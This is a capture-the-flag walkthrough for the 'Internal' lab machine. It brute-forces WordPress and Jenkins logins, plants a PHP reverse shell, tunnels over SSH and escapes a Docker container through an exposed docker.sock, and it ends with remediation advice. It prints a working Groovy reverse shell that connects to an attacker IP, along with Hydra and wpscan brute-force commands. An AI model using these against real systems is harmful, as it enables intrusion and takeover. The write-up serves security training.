Target IP: internal.thm (Requires /etc/hosts entry) Difficulty: Hard Objective: User (user.txt) & Root (root.txt) Flags

1. Executive Summary

“Internal” is a multi-stage challenge simulating a corporate network. We gain initial access by compromising a public-facing WordPress site via credential brute-forcing and a Theme Editor RCE. Post-exploitation enumeration reveals internal credentials for a user aubreanna, allowing us to SSH into the box. We then discover an internal Jenkins service listening on a private Docker IP. Using SSH Port Forwarding, we tunnel into this service, brute-force the admin login, and execute code via the Groovy Script Console. Root access is achieved by escaping the Jenkins Docker container, abusing the exposed docker.sock to mount the host filesystem.

Key TTPs (MITRE ATT&CK):

  • T1110 (Brute Force): Cracking WordPress and Jenkins logins.
  • T1190 (Exploit Public-Facing App): WordPress Theme Editor RCE.
  • T1552 (Unsecured Credentials): Finding credentials in text files (/opt).
  • T1572 (Protocol Tunneling): SSH Local Port Forwarding to access internal services.
  • T1611 (Escape to Host): Mounting the host root filesystem via Docker.

2. Operational Setup

Host Configuration

echo "10.10.x.x internal.thm" | sudo tee -a /etc/hosts

3. Enumeration: “The External Facade”

A. Network Scanning

Nmap shows the standard “Web Server” profile.

  • 22/tcp (SSH): Open.
  • 80/tcp (HTTP): Apache.

B. Web Enumeration

Directory brute-forcing (using gobuster or feroxbuster) reveals /wordpress and /phpmyadmin. Navigating to /wordpress confirms a standard blog.

C. WordPress Analysis (WPScan)

We use wpscan to identify users and plugins.

wpscan --url http://internal.thm/wordpress/ -e u
  • Users Found: admin.

4. Initial Access: WordPress RCE

A. Credential Stuffing

Knowing the user is admin, we attempt a brute-force attack on the login page (wp-login.php).

wpscan --url http://internal.thm/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt

Result: admin : my2boys

B. Remote Code Execution (Theme Editor)

With Admin access, we can modify the PHP code of the site themes.

  1. Navigate: Appearance -> Theme Editor.
  2. Select: A template (e.g., 404.php) from the active theme (Twenty Seventeen).
  3. Inject: We replace the code with a PHP reverse shell (PentestMonkey).
  4. Execute: curl http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php.

Status: Shell as www-data.


5. Lateral Movement: The Pivot

A. Enumeration (/opt)

Standard procedure is to check /opt and /var/www for loose files. In /opt, we find a file wp-save.txt.

cat /opt/wp-save.txt
# Output:
# aubreanna:bubb13guM!@#123

B. SSH Access

We use these credentials to SSH into the box.

ssh aubreanna@internal.thm

User Flag: /home/aubreanna/user.txt.

C. Internal Reconnaissance

Inside the box, we check for internal ports that were blocked from the outside.

netstat -antp
# or
ss -tulpn

Finding: Something is listening on 172.17.0.2:8080.

  • Context: 172.17.x.x is the default Docker bridge network. This implies a container is running a web service on port 8080.

D. SSH Tunneling (The Pivot)

We cannot reach 172.17.0.2 directly from our attacker machine. We use SSH Local Port Forwarding to bridge the gap.

Command (Run on Attacker Machine):

# Syntax: ssh -L LocalPort:InternalIP:InternalPort user@Gateway
ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
  • Now, localhost:8080 on our attacker machine forwards traffic through the SSH tunnel to 172.17.0.2:8080 inside the network.

6. Jenkins Exploitation

A. Accessing the Service

We open a browser to http://localhost:8080. Result: A Jenkins login page.

B. Brute Force (Again)

We try default credentials (admin:admin, jenkins:jenkins) with no luck. We use Hydra against our local forwarded port.

hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 127.0.0.1 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
  • Result: admin : spongebob.

C. RCE via Script Console

Jenkins has a feature called the Script Console which allows Admins to run Groovy scripts. This is effectively “Console access as a Service.”

  1. Navigate: Manage Jenkins -> Script Console.
  2. Payload: (Java Reverse Shell in Groovy)
String host="10.10.YOUR.IP"; // Your VPN IP
int port=6969;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host, port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
}
p.destroy();
s.close();
  1. Execute: Click Run.

Status: Shell inside the Jenkins container.


7. Privilege Escalation: Docker Escape

A. Enumeration

We are root… inside a container.

hostname
# random_string (e.g., 7b979a7af778)
ls -la /
# .dockerenv exists

We check for mounted volumes or exposed sockets.

ls -la /var/run/docker.sock
# srw-rw---- 1 root 999 ... /var/run/docker.sock

Critical Finding: The host’s Docker socket is mounted inside the container. This gives us full control over the host’s Docker daemon.

B. The Escape

We can use the docker client (if installed) or curl to tell the daemon to spawn a new container that mounts the host’s root directory (/) to a folder inside the container.

Command:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • -v /:/mnt: Mount host / to container /mnt.
  • chroot /mnt: Change root to the mounted filesystem.

Result: We are now effectively root on the Host machine (internal).

cd /root
cat root.txt

8. Remediation (Blue Team)

  1. Network Segmentation:
  • The Jenkins container should be on an isolated network segment, not reachable via simple SSH forwarding if users like aubreanna are compromised.
  1. Docker Security:
  • Never mount /var/run/docker.sock inside a container unless absolutely necessary (e.g., for Portainer). Use Rootless Docker or a proxy with strict ACLs if management is needed.
  1. Credential Hygiene:
  • Do not leave credentials in /opt text files.
  • Enforce strong passwords for Jenkins (spongebob is weak).
  1. WordPress Hardening:
  • Disable file editing in the dashboard (define('DISALLOW_FILE_EDIT', true); in wp-config.php).
  • Implement Fail2Ban for the login page.